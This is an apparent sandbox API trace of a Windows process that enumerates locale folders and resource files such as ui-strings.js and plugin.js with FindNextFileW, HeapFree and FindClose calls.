	[0177.119] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0177.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.120] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0177.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.120] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0177.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.120] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0177.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.120] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0177.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.120] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0177.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.120] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0177.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.121] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0177.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.121] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0177.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.121] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0177.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.121] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0177.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.121] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0177.122] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.122] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0177.122] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.122] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0177.122] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.122] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0177.122] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.122] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0177.122] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.122] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0177.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.123] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0177.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.123] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0177.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.123] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0177.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.123] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0177.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.123] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0177.123] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.123] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0177.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.124] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0177.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.124] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0177.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.124] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0177.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.124] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea752b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea752b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea752b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0177.124] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0177.124] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0177.124] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea9b4b7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea9b4b7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3506b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0177.125] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0177.125] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea9b4b7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0177.125] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0177.125] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0177.125] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 1
	[0177.125] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0177.125] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0177.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.126] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="empty.png", cAlternateFileName="")) returned 1
	[0177.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0177.126] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dark", cAlternateFileName="")) returned 0
	[0177.126] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0177.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.126] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0
	[0177.126] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0177.126] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0177.126] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="file_info.png", cAlternateFileName="FILE_I~1.PNG")) returned 1
	[0177.128] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0177.128] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0177.129] FindClose (in: hFindFile=0x5ba530 | out: hFindFile=0x5ba530) returned 1
	[0177.129] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0177.129] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0177.129] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0177.129] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0177.131] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0868bef, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0178.090] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
